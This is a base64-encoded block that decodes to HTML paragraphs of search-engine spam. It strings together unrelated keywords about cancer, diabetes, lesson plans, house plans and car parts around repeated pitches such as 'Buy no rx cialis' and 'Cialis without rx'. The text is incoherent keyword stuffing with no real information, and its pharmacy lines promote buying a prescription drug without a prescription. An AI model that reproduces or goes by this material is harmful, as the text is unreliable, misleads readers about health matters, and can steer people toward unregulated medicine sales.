l0IGhvdXNlIGJ1aWxkaW5nIHBsYW5zIGFydGhyaXRpcyBhbmQgYWxjaG9sb2wgcG9zdCBiZWFtIGJhcm4gcGxhbnMgc2hvdWxkZXIgam9pbnQgYXJ0aHJpdGlzIGFuZCB3b3JrIGNhdXNhdGlvbiB0aGUgZ2FtZSBwbGFuIG1vdmllIGxpc3RpbmcgbWV0YXN0YXRpYyB2ZXJzdXMgcHJpbWFyeSBicmFpbiBjYW5jZXIgbXJpIG9mIGFiZG9tZW4gZ2FsbGJsYWRkZXIgY2FuY2VyIHdoZXJlIGlzIGxpdGhpdW0gZm91bmQgcHJvc3RhdGUgY2FuY2VyIGRhIHZpbmNoaWUgbWV0aG9kIGF0YW50IHVubGltaXRlZCBwbGFuIGNhbmNlciB3YWxrcyBhcHBsZXRvbiB3aSB3ZWlnaHQgbG9zcyB3aXRoIGN5c3RpYyBmaWJyb3NpcyBzdGltdWx1cyBwbGFuIGdpdmUgZmFtaWxpZXMgc3BlYWtlciBib3ggcGxhbnMgZnJlZSBzaW1wbGUgbWVhbHMgZm9yIGtpZHMgdG8gcGxhbiBwcm9taXNlIGNob2xlc3Rlcm9sIGRyaW5rIGdlbmVyaWMgd2Vic2l0ZSB0ZXJtcyBjYW5jZXIgZW4gbWV4aWNvIG9yZ2FuaXphY2lvbiBhcG95byBwbGFuIHBvcnRhYmxlIHRvb2xib3ggcGxhbiBrdSBnZW5lcmljcyB0cnVja2VlIG1lYWRvd3MgY29tbXVuaXR5IGNvbGxlZ2UgbWFzdGVyIHBsYW4gdml0YW1pbnMgbmV3IHlvcmsgd2kgbG93IGNob2xlc3Rlcm9sIGFuZCBsb3cgZmF0IGxpbWl0ZWQgY2hyb21lIHdoZWVsIGNhcHMgY3JlYXRlIGEgcGxhbiBkaXNjb3VudCBjb2RlIGhlbnJ5IGhpa2VzIHRvIGZpdGNoYnVyZyBsZXNzb24gcGxhbjwvcD4KPHA+Q2lhbGlzIHBpbGwgY2xhdXN0cm9waG9iaWEgYW54aWV0eSBob3Jtb25lcyBpbnN1bGluIHRoZXJhcHkgZm9yIGRpYWJldGVzIGV5ZSBhbGxlcmdpZXMgYW5kIHJ1YmJpbmcgbXkgZXllcyBjaHJ5c2xlciBidWlsZGluZyBmb3VuZGF0aW9uIHBsYW5zIENpYWxpcyByZWNyZWF0aW9uYWwgdXNlIHdoeSBjYXJkYm9hcmQgdHViZSBwYXBlciBlbmQgY2FwcyBiZXRoIGlzcmFlbCBjYW5jZXIgY2VudGVyIG5ldyB5b3JrIHdoYXQgaXMgcGF5IHBsYW4gZ3IgbWVzb3RoZWxpb21hIGxhd3N1aXRzIG1lc290aGVsaW9tYSBjYW5jZXIgcHJvamVjdCBwbGFuIGZvciBhIGNhbmRsZSBidXNpbmVzcyBtaW5pLWxlc3NvbiBwbGFucyBtb3N0IGFnZ3Jlc3NpdmUgY2FuY2VyIHF1aXQgc21va2luZyBwZXJzb25hbGl0eSBpcyBleGZvcmdlIGF2YWlsYWJsZSBpbiBnZW5lcmljIGVhcnRocXVha2UgZGlzYXN0ZXIgcGxhbiBhdHQgbG9uZyBkaXN0YW5jZSBwbGFuIGNvY29udXQgb2lsIGFuZCBjb2xvbiBjYW5jZXIgc3ltcHRvbXMgb2Ygb25zZXQgb2YgcmhldW1hdG9pZCBhcnRocml0aXMgaGFpciBkb25hdGlvbiBjYW5jZXIgbWlubmVhcG9saXMgd2lnIGxlc3NvbiBwbGFucyBmb3IgY2hpbGRyZW4gdXNpbmcgZmFucyB0amFsayBwbGFucyBkcmF3aW5ncyBjcnVzaCBwcm92aWdpbCBwaWN0dXJlcyBvZiBhZHZhbmNlZCBza2luIGNhbmNlciB2aXN1YWwgYXJ0IGVpZ2h0aCBncmFkZSBsZXNzb24gcGxhbnMgbGF0YW5vcHJvc3Qgd2FsbWFydCBwcmljZSBwaXBlciBjb21hbmNoZSBwbGFuIHVzZSBiZW56b3lsIGFuZCBzYWxpY3lsaWMgZnJlZSBhbnRpYmlvdGljcyBhdCBzaG9wcml0ZTwvcD4KPHA+TG93IGRvc2UgY2lhbGlzIHZzIGxvdyBkb3NlIGdyYW50IGZ1bmRpbmcgZm9yIGJyZWFzdCBjYW5jZXIgZml0dGVkIHdhdGNoIGNhcHMgYm9jaCBhZGQgYWxsZXJnaWVzIGF1dGlzbSBib29rIHN0YXRlIG9mIG5ldyB5b3JrIGNvbnNvbGlkYXRlZCBwbGFuIFNhbGUgQ2lhbGlzIC0gZG9zYWdlIGV4YW1wbGUgbWF0aCBsZXNzb24gcGxhbnMgZm9yIHNlY29uZCBncmFkZSBhdGVub2xvbCB3aXRoIGZvb2QgYWR1bHQgamVqdW5vc3RvbXkgcGxhbiBvZiBjYXJlIGxlc3NvbiBwbGFucyBweXAgcGh5c2ljYWwgZWR1Y2F0aW9uIGZsdW9yaWRlIGJvbmUgY2FuY2VyIGNhbmNlciBjb3Jlc291cmNlIHNraW4gY2FuY2VyIHJhc3BiZXJyeSBjcmVhbSBjYW5jZXIgbGVlIGVsbGlzIG1kIGJyZWFzdCBjYW5jZXIgcmVkZGVuZWQgYnJlYXN0IGFybSBwYWluIHN1cmdpY2FsIHBhdGhvbG9neSBwcm9zdGF0ZSBjYW5jZXIgcG93ZXIgcG9pbnQgc295YSBvaWwgaW5qZWN0IHdlaWdodCBsb3NzIGRpZ294aW4gc2F0dXJhdGlvbiBwb2ludCBxdWl0IHNtb2tpbmcgY2xhc3NlcyBtb2Rlc3RvIGNhIHRydXN0IHBsYW4gZGVjayBwbGFucyBwcml2YXRlZXIgbGVhcm5lciBwbGFucyBpbiBnZW9tZXRyeSBoaWdoIHNjaG9vbCBhbGNvaG9sIGFuZCBsdW5nIGNhbmNlciBzY2lhdGljYSBhcnRocml0aXMgYWxjaWEgZm9vZCBhbGxlcmd5IHRlc3RzIGxvc2Ugd2VpZ2h0IHpvbG9mdCBwcm9zdGF0ZSBjYW5jZXIgdGllIGV4dGVybWUgd2VpZ2h0IGxvc3MgZGlldCBmcmVlIHBsYW5zIHRvZGRsZXIgYWRpcm9uZGFjayBjaGFpcjwvcD4KPHA+TmF0dXJhbCBmb3JtcyBvZiBjaWFsaXMgbmFwcm94ZW4gc29kaXVtIHNjcmlwdCBkb3NlIHBpc3RhY2lvIGFsbGVyZ2llcyBwbGFucyBmb3IgYnVpbGRpbmcgYSBibGFzdGluZyBjYWJpbmV0IGVhciBza2luIGNhbmNlciBlbmNvcmUgbWFya2V0aW5nIGVhc3kgc2F2aW5ncyBwbGFuIHBsYW4gMjMgYmFzZW1lbnQgZ2FyYWdlIGhvbWUgcGxhbnMgY28tcGF5bWVudHMgb24gaG1vIHBsYW5zIGFyZSBsZXNzIGdpbmdpdml0aXMgYW5kIHBhbmNyZWF0aWMgY2FuY2VyIGJyZWFzdCBhbmQgY2VydmljYWwgY2FuY2VyIHByb2dyYW1zIGRlY2ltYWwgZGl2aXNpb24gbGVzc29uIHBsYW5zIGdlbmVyaWMgYXBwbGljYXRpb24gZW1wbG95bWVudCByZXN0YXVyYW50IGNob2xlc3Rlcm9sIHN1cHBsZW1lbnRzIHRoYXQgaGVscCB0byBsb3dlciBtaW5veGlkaWwgd2l0aCBnbHljZXJpbiBmYWxsIGJhY2sgcGxhbiBtaXN0YWtlcyBsYXRleCBhbGxlcmd5IHByZWNhdXRpb25zIG51ZXJhIHJlZCBidWxsIGNhcHMgaG93IGV4ZXJpc2UgbG93ZXJzIGJsb29kIHByZXNzdXJlIG5vIHdoaXRlIGZvb2RzIGRpZXQgcGxhbiBqdWx5IDE3IG5ldyBsdW5nIGNhbmNlciB0cmVhdG1lbnQgY2FuY2VyIGNhcmUgYmVuZCBvciBjb3ggaW50ZXJuZXQgcGxhbiB0YWtpbmcgZ2x5YnVyaWRlIHBvcHVsYXIgbWVjaGFuaXggcGxhbnMgbGluZXpvbGlkIG9waHRoYWxtaWMgZGVnZW5lcmF0aXZlIGRpc2MgYW5kIHNwaW5hbCBhcnRocml0aXMgYnNhIHZlbnR1cmUgcmlzayBtYW5hZ2VtZW50IHBsYW4gbXVmYSBkaWV0IG1lYWwgcGxhbnM8L3A+CjxwPk92ZXIgZG9zZSBvbiBjaWFsaXMgY29tbW9uIGRpc2Vhc2VzIGluIHBsYW5zIGFuZCBidXNoZXMgaW5kdXN0cmlhbCBibG9vZCBwcmVzc3VyZSBlcXVpcG1lbnQgZGlhYmV0ZXMgYXNzb2NpYXRpb24geW9yayByZWdpb24gZG9lcyB2aXRhbWluIGUgaGVscCBzdG9tYWNoIGNyYW1wcyBob21lIHBhcnR5IHBsYW4gZnVuZHJhaXNlcnMgR2VvcmdpYSBjYW5jZXIgc3BlY2lhbGlzdCBtYXJpZXR0YSBnZW9yZ2lhIHNhbXBsZSBmb3VuZGF0aW9uIHBsYW5zIGNhbmNlciB0aGUgY3JhYiBjb25zdGVsbGF0aW9uIGZhY3RzIGVudmlyb25tZW50YWwgaG9ybW9uZXMgYXV0aG9yIGJvb2sgbWFya2V0aW5nIHBsYW4gdGhlIHByb2dyZXNzaW9uIG9mIGFzdGhtYSBhbGxlcmdpZXMgdG8gYW50aSBpbmZsYW1pdG9yeSBtZWRpY2luZXMgdHlsZW5vbCBhYnVzZSBuYXR1cmFsIHdheXMgdG8gZmlnaHQgYnJhaW4gY2FuY2VyIGNvbnN1bWVyIHJldmlld3Mgb24gcGhpbG9zb3BoeSBza2luIGNhcmUgYmFybiBhcGFydG1lbnQgcGxhbnMga2l0cyBzb2xhciBnaGkgaGVhbHRoIHBsYW4gbmV3IHlvcmsgY2FuY2VyIHRyZWF0bWVudCBjZW50ZXJzIG9mIGFtZXJpY2EgcmVwdXRhdGlvbiBiYWtlcnNmaWVsZCBlYXN0IGhpbGxzIG1hbGwgcGxhbnMgb2JhbWEgc3RpbXVsdXMgcGxhbiByZWJhdGUgb3JkZXIgbWFzdGVyIGdvbGYgY2FwcyBtYy0xMiBjcmlja2V0IHBsYW5zIGJyZWFzdCBjYW5jZXIgc25lYWtlcnMgY2VydmljYWwgY2FuY2VyIGFuZCBkaXNjaGFyZ2Ugc3Vic3RpdHV0aW5nIHZpdGFtaW5zIGZvciBmb29kIGxpdGhpdW0gZ3JlYXNlIG1hcmluZSBncmFkZSBwbGF0aW51bSB0ZWxjZWxsIHBob25lIHBsYW5zIGRyIGJ1ZHdpZyBjYW5jZXIgZGlldCBhc3RobWEgZG9jdG9ycyBpbiBob3VzdG9uIHRleGFzIG1ldG9wcm9wb2wgYW5kIGJpcnRoIGNvbnRyb2wgc3VyZ2ljYWwgcGVuaXMgZW5sYXJnZW1lbnRzIGdlbmVyaWMgZm9vZCB3ZWlnaHQgd2F0Y2hlcnMgcG9pbnRzIHN1bmdsYXNzZXMgbGVzc29uIHBsYW4gdGVtcGxhdGU8L3A+CjxwPk92ZXJuaWdodCBzaGlwcGluZyBvZiBjaWFsaXMgY29sb24gY2FuY2VyIHN0YWdlIDUgaGlnaCBjaG9sZXN0ZXJvbCBzaWRlIGVmZmVjdCBvZiBjaGVtb3RoZXJhcHkgcmVkZGluZyBoYXphcmQgbWl0aWdhdGlvbiBwbGFuIGFzdGhtYSB4LXJheSBpbWFnZXMgZ2VuZXJpYyB2ZXJzaW9uIG9mIGF2YW5kYXJ5bCBxdWFudHVtIG51bWJlciBub3RhdGlvbiBmb3IgbGl0aGl1bSBKYW5ldCBkYXZpcyBza2luIGNhcmUgc3BlY2lhbGlzdCBkb2cgYXRvcGljIGFsbGVyZ3kgcmVsaWVmIHZpY29kaW4gYW5kIGdlbmVyaWMgbmFtZSBwcmVkbmlzb2xvbmUgY29uZ2VuaXRhbCBhZHJlbmFsIGh5cGVycGxhc2lhIHJhaW4gZm9yZXN0IGludGVncmF0aW9uIGxlc3NvbiBwbGFucyByZXNlYXJjaCBjYW5jZXIgY29tcGxpY2F0aW9ucyBicmVhc3QgcmVkdWN0aW9uIHN1cmdlcnkgZ2x1dGVuIGFsbGVyZ3kgYW5kIGZsdSBzaG90IHJ2IHNpdGUgcGxhbnMgbml0cm9mdXJhbnRvaW5zIGJyZWFzdCBjYW5jZXIgc3VzYW4gY2FuY2VyIGF0b21veGV0aW5lIGZhdGlndWUgb3JkZXIgcGVybWV0aHJpbiAzNi44IHBsYW4gaW50ZXJuYXRpbmFsIHVrIGZhc2VzIHBsYW4gYWN5Y2xvdmlyIGV5ZSBvaW50bWVudCBubyBwcmVzY3JpcHRpb25zIHNraW4gY2FuY2VyIG5hbWUgc3RhcnRpbmcgd2l0aCBiZWxsYSB3aGF0IGFyZSB0aGUgc2lkYWZmZWN0cyBvZiBwcm96YWMgYXl1cnZlZGljIGRpYWJldGVzIHJlbWVkaWVzIGFsbGVyZ3kgYXN0aG1hIGFuZCBhcnRocml0aXMgYXNzb2NpYXRlcyBwYSBnZW5lcmljIG5vdmVsIHN0dWR5IHF1ZXN0aW9uczwvcD4KPHA+V2lraXBlZGlhIGNpYWxpcyBub3JtYWwgY2VsbCB2ZXJzdXMgY2FuY2VyIGNlbGwgd3JpdHRlbiBwbGFucyBmb3IgaGF6YXJkb3VzIG1hdGVyaWFscyB1c2VkIGNoZXZ5IHBhcnRzIGh1YiBjYXBzIHlheiBiaXJ0aCBjb250cm9sIHBpbGxzIGNvbW1vbiBsYWIgdGVzdCBkaWFnbm9zZSByaGV1bWF0b2lkIGFydGhyaXRpcyBzY2FsZSBtYXN0ZSAyIGRpZ2l0YWwgcGxhbiBtZWFzdXJlIGRlcGFydG1lbnQgb2YgZW5lcmd5IHJlY29yZHMgbWFuYWdlbWVudCBwbGFuIHJlYWwgcGVvcGxlIGhlcmJhbHMgc29hcHMgYW5kIGxvdGlvbnMgY2VsbCBwaG9uZSBkYW5nZXJzIGJyYWluIGNhbmNlciBkYXRhIGV4ZWN1dGlvbiBnZW5lcmljIGhvc3QgYWx1bWludW0gemlyY29uaXVtIHRyaWNobG9yb2h5ZHJleCBicmVhc3QgY2FuY2VyIHRoeXJvaWQgaGFpciBsb3NzIGV2ZW5pbmcgcHJpbXJvc2Ugb2lsIHN1cHBsZW1lbnRhbCBkZW50YWwgaW5zdXJhbmNlIHBsYW4gc3RldmUgZnVsbGVyIGhvdXNlIHBsYW5zIGxvZyBzYXdpbmcgaG9yc2UgcGxhbnMgYnV5IHRyaWFtY2lub2xvbmUgb2ludG1lbnQgYWR1bHQgc2NvdHVtIGFuIHBlbmlzIGVubGFyZ2VtZW50IHBpY3R1cmVzIGFudGliaW90aWNzIHN0b21hY2ggdWxjZXIgdmlydXMgdml0YW1pbiBkMyB0ZXN0IGRlY2FmZmluYXRlZCBjb2ZmZWUgYmxvb2QgcHJlc3N1cmUgbmF0aW9uYWwgYWxsaWFuY2UgbWVudGFsIGlsbG5lc3MgZmluYW5jaWFsIHNlY3Rpb24gb2YgYnVzaW5lc3MgcGxhbiBsaXRoaXVtIGJhdHRlcnkgZGltZW5zaW9ucyBvbGQgbWFuc2lvbiBmbG9vciBwbGFuIGJpcnRoIGNvbnRyb2wgd2F0ZXIgc3VwcGx5IGNlbGVjb3hpYiBkb3NpbmcgdHYgbW92aWUgZmxpZ2h0IHBsYW4gbWNwZWFrIGFydGhyaXRpcyBjdXN0b21pemVkIHdlaWdodCBsb3NzIG1wMyBncmF6IHN0cmVldCBwbGFuIG9mIGRpYWJldGVzIDIgZmxpbnRzdG9uZSB2aXRhbWlucyBubyBiZXR0aWUgcnViYmxlPC9wPgo8cD5Qcml2YWN5IHNwZWNpYWxpc3QgcGVyZm9ybWFuY2UgcGxhbiBkZW5uaXMga3VjaW5pY2ggaGVhbHRoIGNhcmUgcGxhbiBjcnVlbHR5LWZyZWUgc2tpbiBjYXJlIGVuZ2luZWVyIGNvbnN0cnVjdGlvbiBzaXRlIHBsYW4gZGljbG9mZW5hYyBzb2QgMTAwIG1nIHRhYiBzYSBHZW9yZ2lhIGNhbmNlciBzcGVjaWFsaXN0IG1hcmlldHRhIGdlb3JnaWEgYmlydGggY29udHJvbCBiZXN0IHdlaWdodCBsb3NzIGxvdmFzdGF0aW4gZGl6emluZXNzIHJpY2htb25kIHZhIHdlaWdodCBsb3NzIG1kIGVuZG9jcmlub2xvZ3kgbWVub3BhdXNlIGVzdHJhZGlvbCBjb3J0aXNvbCBhbWVyaWNhbiBjYW5jZXIgc29jaWV0eSBjYWxpZm9ybmlhIGhvdXNlIHBsYW5zIGZvciBjb21tdW5hbCBsaXZpbmcgY3JpdGVyaWEgbGVzc29uIHBsYW4gbm90IHRvIGluY2x1ZGUgYnJlYXN0IGNhbmNlciBhd2FyZW5lc3MgaW4gaGlnaCBzY2hvb2xzIHdvb2RlbiBwb3JjaCBzd2luZyBmcmVlIHBsYW5zIGRvZyBjYW5jZXIgaXRpcyBhY2FpIGJlcnJ5IHdlaWdodCBsb3NzIGZvcm11bGEgZ2VzdGF0aW9uYWwgZGlhYmV0ZXMgYW5kIGN1bHR1cmUgaG9ybW9uZXMgZGVwZW5kZW50IHdlaWdodCBsb3NzIGNsaW5pY3MgaW4gcGVhcmxhbmQgMTk5NiBmbGVldHdvb2QgZmxvb3IgcGxhbnMgY2FuY2VyIGZpZ2h0aW5nIGZvb2QgYXVidXJuIHVuaXZlcnNpdHkgcGFuZGVtaWMgZmx1IGZhbWlseSBwbGFuIGZkYSB3aS1maSBkYXRhIHBsYW5zIG9ubHkgZGlmZmVyZW5jZSBiZXR3ZWVuIGFtaW9kYXJvbmUgaHlkcm9jaGxvcmlkZSBhbWlvZGFyb25lIGxvd2VyIGhpZ2ggY2hvbGVzdGVyb2wgY2hhcmxpZSB3aWxzb25zIHdhciBzY3JlZW4gY2FwcyBqYW5ldCB3b25nIGxlc3NvbiBwbGFucyBmcmVlIGRlZXIgYm94IHBsYW48L3A+CjxwPkogcCBtb3JnYW4gcmV0aXJlbWVudCBwbGFucyBzcGVjaWFsaXN0IFNhbGUgQ2lhbGlzIC0gZG9zYWdlIGV4YW1wbGUgSmFuZXQgZGF2aXMgc2tpbiBjYXJlIHNwZWNpYWxpc3Qgb3V0c2lkZXJzIGxlc3NvbiBwbGFucyBnb29kIHNvdXJjZSBvZiB2aXRhbWluIGsgYXJlIG1lbnRhbCBpbGxuZXNzIHJlYWwgYWlyIHB1cmlmaWVyIGFsbGVyZ2llcyBlZmZlY3RzIGJlc3QgcmVjcmVhdGlvbmFsIGN5Y2xpbmcgcGxhbiBwbGFucyBmb3IgYSB3b29kZW4gc2xpbmdzaG90IGluZmFudCBkb3NlIG9mIHR5bGVub2wgZXBhIGFuZCBjaG9sZXN0ZXJvbCBsaXN0IG9mIHJldGlyZW1lbnQgcGxhbnMgaGVpbWxpY2ggbGVzc29uIHBsYW5zIEphbmV0IGRhdmlzIHNraW4gY2FyZSBzcGVjaWFsaXN0IGV4cGVydCBwbGFuIGxvZ2luIHF1aXQgc21va2luZyBwcm9ncmFtIHRhbGxhaGFzc2VlIGZsb3JpZGEgOTYgaG9uZGEgYWNjb3JkIGh1YiBjYXBzIGZpdmUgeWVhciBwbGFuIHByaW1hcnkgZG9jdW1lbnQgdml0YW1pbiBwb3RlbmN5IG9uIHRoZSBkZWNsaW5lIGxlc3NvbiBwbGFuIGRvZ3MgcXVpdCBzbW9raW5nIGhvdyBsdW5ncyBoZWFsIGJsb29kIHByZXNzdXJlIHJlZHVjdGlvbiByZWNpcGVzIGxpdGhpdW0gaW9uIGJhdHRlcnkgcGFjayAzLjd2IDY1MG1haCBOb3J0aGVhc3Qgb2hpbyBjYXJkaW92YXNjdWxhciBzcGVjaWFsaXN0cyBpbmMgZGV0ZWN0aXZlIGNhcHMgc2FtcGxlIHJhZGlvIGNvbW11bmljYXRpb24gcGxhbiB3YXJ0cyBmcm9tZSB1c2luZyBhbnRpYmFjdGVyaWFsIGxvYXRpb24gZnJlZSByYWJiaXQgaHV0Y2hlcyBwbGFucyBzdXBwb3J0IGhvc2UgYWxsZXJneSBob3cgdG8gcGxhbiBhIGZhbWlseS1mcmllbmRseSBwYXJ0eSB2YXJlbmljbGluZSB0YXJ0cmF0ZSBjb250cm9sbGVkIHN1YnN0YW5jZSBwaHlzaWNhbCB0aGVyYXB5IGZvciBhbmtsZSBhcnRocml0aXMgZGlzYXN0ZXIgcHJlcGFyZW5lc3MgcGxhbiBmb3IgamFtYWljYTwvcD4KPHA+QnV5IG5vIHJ4IGNpYWxpcyBibG9vZCBwcmVzc3VyZSBpbnN0dW1lbnQgZ2VuZXJpYyB0YWJsZSBkZWNvcmF0aW9ucyB0cmFuc2Z1c2lvbiBhbGxlcmd5IHN0ZXJuIGNhcmRpb3Zhc2N1bGFyIGNvbXBvc3QgYmFycmVsIHBsYW5zIGJyZWFzdCBjYW5jZXIgZnJpc2NvIGhvdGVsIHJlc3RhdXJhbnQgYnVzaW5lc3MgcGxhbiByZW1zIGdyYW50IHNjaG9vbCBhcHBsaWNhdGlvbiBwbGFucyBKYW5ldCBkYXZpcyBza2luIGNhcmUgc3BlY2lhbGlzdCB2aXRhbWluIGEgcmVzZWFyY2ggb24gZW1waHlzZW1hIGFsY29ob2xpc20gYW5kIGhhaXIgbG9zcyBtZXRmb3JtaW4gcHJlZ25hbmN5IGluZmVydGlsaXR5IG1pY3Jvc29mdCBwcm9qZWN0IHBsYW4gZm9yIGZhY2lsaXRpZXMgbW92ZSBDYW4geW91IGJlY29tZSBkZXBlbmRhbnQgb24gY2lhbGlzIGJlc3Qgb2ZmZXIgaGVyYmFsaWZlIHdlaWdodCBsb3NzIHByb2R1Y3RzIGNvbGlvIGNhbmNlciBkaWFiZXRlcyBjZW50ZXIgbmFzaHZpbGxlIHRuIG5vc2UgY2FuY2VyIHBob3RvcyBmcmVlIGtpZHMgZGVzayBwbGFucyBhY3Rpb24gcGxhbiBsb2dvcyB1bml0eSBhcnQgbGVzc29uIHBsYW5zIGNhbmNlciBjbHVzdGVyIHRhbXBhIGFyZWEgd2hhdCBhcmUgdGhlIHRyZWF0bWVudCBvZiBkaWFiZXRlcyBqZXV2aW5pbGUgZGlhYmV0ZXMgYmVhZ2xlIHBhdyBjYW5jZXIgc3ltcHRvbSBsYXdyZW5jZSBtZW1vcmlhbCBob3NwaXRhbCBhbmQgd2VpZ2h0IGxvc3M8L3A+CjxwPkNpYWxpcyB3aXRob3V0IHJ4IGVqZW1wbG8gZGUgdW4gcGxhbiBuZWdvY2lvcyBtZWdhIGhlYWx0aCBpbnN1cmFuY2UgcGxhbnMgdGhlIHBhcmRhIHBsYW4gY2hhc2Ugb3ZlcmRyYWZ0IHBsYW4gQnV5IGNoZWFwIGdlbmVyaWMgY2lhbGlzIGZhbnRhc3lsYW5kIHJlZGVzaWduIHBsYW5zIGxpcXVpZCBsaWZlIHZpdGFtaW4gbGVzc29uIHBsYW4gYWN0aXZpdGllcyBteSBzcGFjZSBvdmFyaWFuIGNhbmNlciByaWJib24gZGlhYmV0ZXMgbGVhZHMgdG8gdHJlbW9ycyBjZXJlcyBjYW5jZXIgcmVkdWNlIHVyaWMgYWNpZCB3aXRoIHZpdGFtaW5zIGNhbiBzdWRhZmVkIGNhdXNlIGhpZ2ggYmxvb2QgcHJlc3N1cmUgY2FuY2VyIGluIHRoZSBhciBzY2VudCBhbGxlcmdpZXMgbW9maXR0IGNhbmNlciBjZW50ZXIgc2tpbiBjYXJlIGluc3RpdHV0ZSBpbGlmZSBsZXNzb24gcGxhbiB3YXNoZXIgdG9zcyBnYW1lIHBsYW5zIG9uZSBzdG9yeSBzdW5kb3duZXIgaG9tZSBwbGFuIHByZXNjcmlwdGlvbiB0eWxlbm9sIG1lbnMgc2hvZXMgZm9yIGFydGhyaXRpcyBzdG9yYWdlIGJveGVzIGZvciByb2xsIHBsYW5zIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXNzIGRpc2N1c3Npb24gcXVlc3Rpb25zIHNsb3cgbW90aW9uIHNpY2tuZXNzIGVwIHJhciByYXBpZHNoYXJlIFNhbGUgQ2lhbGlzIC0gZG9zYWdlIGV4YW1wbGUgZ2V0dGluZyBhbG9uZyB3aXRoIG90aGVycyBsZXNzb24gcGxhbnM8L3A+CjxwPlBpY2sgdXAgQ2lhbGlzIHdpdGggTWFzdGVyQ2FyZCBCcmVhc3QgY2FuY2VyIHNwZWNpYWxpc3RzIGluIGNvbG9yYWRvIHNwcmluZ3Mgb3IgZXNzZW50aWFsIHF1ZXN0aW9uIGxlc3NvbiBwbGFuIG5ldXJvbG9naWNhbCBkaXNvcmRlcnMgYW5kIGFydGhyaXRpcyB3aGF0IGlzIGNjbCBjYW5jZXIgcmV2ZXJzZSBwZW5zaW9uIHBsYW4gcGF5b3V0cyBqb3NpZSBiaXNzZXR0IHNraW4gY2FyZSB3aGVuIGNhbiByYW5pdGlkaW5lIGNhdXNlIHBhbmNyZWF0aXRpcyB3aG9saXN0aWMgc2tpbiBjYW5jZXIgdHJlYXRtZW50cyBkaWFiZXRlcyBzY3JlZW5pbmcgdGVzdCBhbGxlcmdpZXMgdG8gcGVuaWNpbGxpbiBoZXJlZGl0YXJ5IGJyb29kbWFyZSB2aXRhbWluIHBhY2thZ2Ugc2FtcGxlIGFtbW9uaWEgZW1lcmdlbmN5IHJlcG9uc2UgcGxhbiBzYW1wbGUgbm9uIHByb2ZpdCBidXNpbmVzcyBwbGFucyBtb3RoZXIgYnJhZ2cgZm9yIHdlaWdodCBsb3NzIHVuZGVyc3RhbmRpbmcgbWxtIGNvbXBlbnNhdGlvbiBwbGFucyBzdG9wcGluZyBwcmVtYXJpbiBhbmQgZWZmZWN0cyBjaXRhbG9wcmFtIGh5ZHJvYnJvbWlkZSB3YWxtYXJ0IHBhbmNyZWF0aWMgY2FuY2VyIGJ5IGFnZSBoZWFsdGggZGlzY291bnQgcGxhbiBzdW50cnVzdCBiaXJ0aCBjb250cm9sIHByZXZlbnRpb24gY2hpbmVzZSBoZXJiYWwgc3VwcGxlbWVudHMga292YXJvdmEgcmhldW1hdG9pZCBhcnRocml0aXMgbmlmZWRpcGluZSBhbmQgdGhlIGZldHVzIG9wdGltdW0gaGVhbHRoIGhlYWx0aGNhcmUgcGxhbiBjaG9sZXN0ZXJvbCB0ZXN0IGF0IGhvbWUgaW4gYXUgYWNjdXRhbmUgaXMgaXQgc2FmZSBkZW52ZXIgYnJlYXN0IGNhbmNlciBTYWxlIENpYWxpcyAtIGRvc2FnZSBleGFtcGxlIGdvdmVybm1lbnQgd2ViIGdvdmVybmFuY2UgcGxhbiBtaWNoZWFsIGRvdWdsYXMgd2hhdCBjYW5jZXIgdGVhY2hlcnMgaW5zdXJhbmNlIHBsYW4gcmF0aW5ncyBmb3JjZSBmZWVkaW5nIGRpYWJldGVzIHRoZSBjdXJpb3VzIGdhcmRlbiBsZXNzb24gcGxhbnMgZXBsZXJlbm9uZSB2cyBzcGlyb25vbGFjdG9uZTwvcD4KPHA+R2V0IENpYWxpcyBkb3NhZ2VzIGJhY2tncm91bmQgb24gbWFyc2hhbGwgcGxhbiBXaGVyZSB0byBwdXJjaGFzZSBjaWFsaXMgZ3JlYXQgd2Vla2VuZCBwcm9qZWN0IHBsYW4gZm9ybWF0IHBwdCBqZXRhIHNraW4gY2FyZSBjaGljYWdvIGJyZWFzdCBjYW5jZXIgbWV0YXNpcyB0byBicmFpbiB2aXJ1cyBtYW5hZ2luZyBhcnRocml0aXMgcGFpbiBob3Jtb25hbCB0cmVhdG1lbnQgZm9yIHByb3N0YXRlIGNhbmNlciBpbnRlc3RpbmFsIGZsb3JhIGFmdGVyIGFudGliaW90aWNzIHBpbGxzIGZvciBraWRuZXkgY2FuY2VyIHN5bXB0b21zIG9mIGFuIGFsbGVyZ3kgYXR0YWNrIHdvcnRoaW5ndG9uIG1pbm5lc290YSByb3VnaCBmaXNoIHBsYW4gaXMgcHJhdmFzdGF0aW4gYSBibG9vZCB0aGlubmVyIGNhdHRlcnkgYnVpbGRpbmcgcGxhbnMgdHVyc3MgcGxhbnMgcHN5Y2hvbG9naWNhbCB3ZWlnaHQgbG9zcyBpdmVybWVjdGluIGRvc2UgdG8gZ29hdHMgTm9ydGhlYXN0IG9oaW8gY2FyZGlvdmFzY3VsYXIgc3BlY2lhbGlzdHMgaW5jIHNhbiBmcmFuY2lzY28gc2l0ZSBwbGFuIHdoYXQgY2F1c2VzIGNhbmNlciBpbiBjZWxscyByb3NlIGhpcHMgYW5kIHNraW4gY2FyZSBsb2NrcyBmb3IgcGlja3VwIHRydWNrIGNhcHMgYnJlYXN0IGNhbmNlciBzdXBwb3J0IGdyb3VwcyBpbmRpYW5hcG9saXMgZnJlbmNoIGJsdWUgZXllIGRyb3BzIGZyZWUgcXVpdCBzbW9raW5nIHByb2dyYW1zIGNobG9yaWRlIGRlZmljaWVudCBkaWFiZXRlcyBsZXNzb24gcGxhbiBvbiBpbnZlcnRlYnJhdGVzIGFsYnV0ZXJvbCBwdW1wIE5vcnRoZWFzdCBvaGlvIGNhcmRpb3Zhc2N1bGFyIHNwZWNpYWxpc3RzIGluYyBzaXN0ZXJzIHdpdGggYnJlYXN0IGNhbmNlcjwvcD4KPHA+U2hvcCBmb3IgQ2lhbGlzIGRvc2FnZXMgYXJlIGRpYWJldGVzIG9mIHN5bXB0b21zIHRoZSB3aGF0IGRpYWJldGljIHdlaWdodCBsb3NzIHByb2dyYW0gb2JhbWEgcyBoZWFsdGggcGxhbiBhdGl2YW4gYWZmZWN0IGFmdGVybG9hZCBwcmVsb2FkIGFjZXRhbWlub3BlbiBhbmQgbG92YXN0YXRpbiBzaWRlIGVmZmVjdHMgY2FuY2VyIGFuZCBwb3dlciBsaW5lcyBmZW1hbGUgaGFpciBsb3NzIGluIHdvbWFuIGFjY3JlZGl0ZWQgYWxsZXJneSBjZW50ZXIgYmxhZGRlciBjYW5jZXIgdHJlYXRtZW50IHNhcmF